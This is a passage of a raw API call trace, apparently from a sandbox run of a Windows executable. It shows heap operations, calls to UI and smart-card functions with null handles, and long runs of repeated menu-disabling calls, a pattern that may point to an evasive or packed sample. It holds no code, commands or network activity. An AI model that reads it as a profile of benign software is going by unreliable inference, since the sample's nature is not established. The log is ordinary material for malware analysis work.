RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0127.521] GetConsoleWindow () returned 0x0 [0127.522] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0127.522] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0127.522] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f68c, fWinIni=0x0 | out: pvParam=0x18f68c) returned 1 [0127.522] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be090 | out: hHeap=0x5b0000) returned 1 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be0e8 | out: hHeap=0x5b0000) returned 1 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be0c8 | out: hHeap=0x5b0000) returned 1 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be070 | out: hHeap=0x5b0000) returned 1 [0127.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.522] GetLastError () returned 0x578 [0127.522] InitCommonControls () [0127.522] GetDlgItem (hDlg=0x26d08f4, nIDDlgItem=236) returned 0x0 [0127.522] GetDlgItem (hDlg=0x26d08f4, nIDDlgItem=0) returned 0x0 [0127.522] GetDlgItem (hDlg=0x26d08f4, nIDDlgItem=-514) returned 0x0 [0127.522] GetDlgItem (hDlg=0x26d08f4, nIDDlgItem=-6791920) returned 0x0 [0127.522] GetDlgItem (hDlg=0x26d08f4, nIDDlgItem=236) returned 0x0 [0127.522] LoadIconA (hInstance=0x400000, lpIconName=0xec) returned 0x0 [0127.522] SCardForgetReaderA (hContext=0x0, szReaderName=0x0) returned -2146435055 [0127.617] LoadIconA (hInstance=0x400000, lpIconName=0x96) returned 0x0 [0127.617] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.617] LoadIconA (hInstance=0x400000, lpIconName=0xc) returned 0x0 [0127.617] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.617] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.617] SCardGetCardTypeProviderNameA (in: hContext=0x0, szCardName=0x0, dwProviderId=0x0, szProvider=0x0, pcchProvider=0x18f618 | out: szProvider=0x0, pcchProvider=0x18f618) returned -2146435068 [0127.618] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.618] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.619] ImageList_Create (cx=20, cy=16, flags=0x1, cInitial=2, cGrow=2) returned 0x638fc0 [0127.622] LoadIconA (hInstance=0x400000, lpIconName=0xfdfe) returned 0x0 [0127.622] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.623] ImageList_ReplaceIcon (himl=0x73df0278, i=-1, hicon=0x0) returned -1 [0127.624] ImageList_ReplaceIcon (himl=0x73df0278, i=-1, hicon=0x0) returned -1 [0127.624] SendMessageA (hWnd=0x0, Msg=0x1109, wParam=0x0, lParam=0x73df0278) returned 0x0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] DestroyCursor (hCursor=0x0) returned 0 [0127.624] SendMessageA (hWnd=0x0, Msg=0x110a, wParam=0x0, lParam=0x0) returned 0x0 [0127.624] SendMessageA (hWnd=0x0, Msg=0x110b, wParam=0x9, lParam=0x0) returned 0x0 [0127.624] IsWindow (hWnd=0x10136) returned 1 [0127.625] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.625] GetDC (hWnd=0x0) returned 0x601015d [0127.625] CreateCompatibleDC (hdc=0x601015d) returned 0x30106c2 [0127.625] CreateDIBSection (in: hdc=0x0, lpbmi=0x18ed98, usage=0x0, ppvBits=0x18ed90, hSection=0x0, offset=0x0 | out: ppvBits=0x18ed90) returned 0x0 [0127.625] GetCurrentObject (hdc=0x30106c2, type=0x7) returned 0x185000f [0127.625] SelectObject (hdc=0x30106c2, h=0x0) returned 0x0 [0127.625] ReleaseDC (hWnd=0x0, hDC=0x601015d) returned 1 [0127.625] GetClientRect (in: hWnd=0x0, lpRect=0x18ec30 | out: lpRect=0x18ec30) returned 0 [0127.625] SetScrollInfo (hwnd=0x0, nBar=0, lpsi=0x18ec14, redraw=1) returned 0 [0127.627] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x18ec14, redraw=1) returned 0 [0127.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.627] PtInRect (lprc=0x18e874, pt=0x0) returned 0 [0127.627] VarDateFromI4 (in: lIn=0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.634] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.635] SetScrollPos (hWnd=0x0, nBar=1197974244, nPos=6524362, bRedraw=1) returned 0 [0127.635] VarDateFromR4 (in: fltIn=0x0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5be070 [0127.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be098 [0127.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5b2cc8 [0127.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be098 | out: hHeap=0x5b0000) returned 1 [0127.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5b2cc8 | out: hHeap=0x5b0000) returned 1 [0127.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be070 | out: hHeap=0x5b0000) returned 1 [0127.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8a8 | out: hHeap=0x5b0000) returned 1 [0127.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8a8 [0127.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5be070 [0127.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be098 [0127.636] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="LSIDcomposite") returned 0x168 [0127.636] GetCursorPos (in: lpPoint=0x18e858 | out: lpPoint=0x18e858*(x=964, y=496)) returned 1 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.637] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.637] DrawMenuBar (hWnd=0x0) returned 0 [0127.637] GetConsoleWindow () returned 0x0 [0127.637] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.638] GetConsoleWindow () returned 0x0 [0127.638] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.638] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.638] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.639] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.639] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.639] DrawMenuBar (hWnd=0x0) returned 0 [0127.639] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.640] DrawMenuBar (hWnd=0x0) returned 0 [0127.640] GetConsoleWindow () returned 0x0 [0127.640] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.640] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.641] DrawMenuBar (hWnd=0x0) returned 0 [0127.641] GetConsoleWindow () returned 0x0 [0127.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.642] DrawMenuBar (hWnd=0x0) returned 0 [0127.642] GetConsoleWindow () returned 0x0 [0127.642] GetSystemMenu (hWnd=0x0, 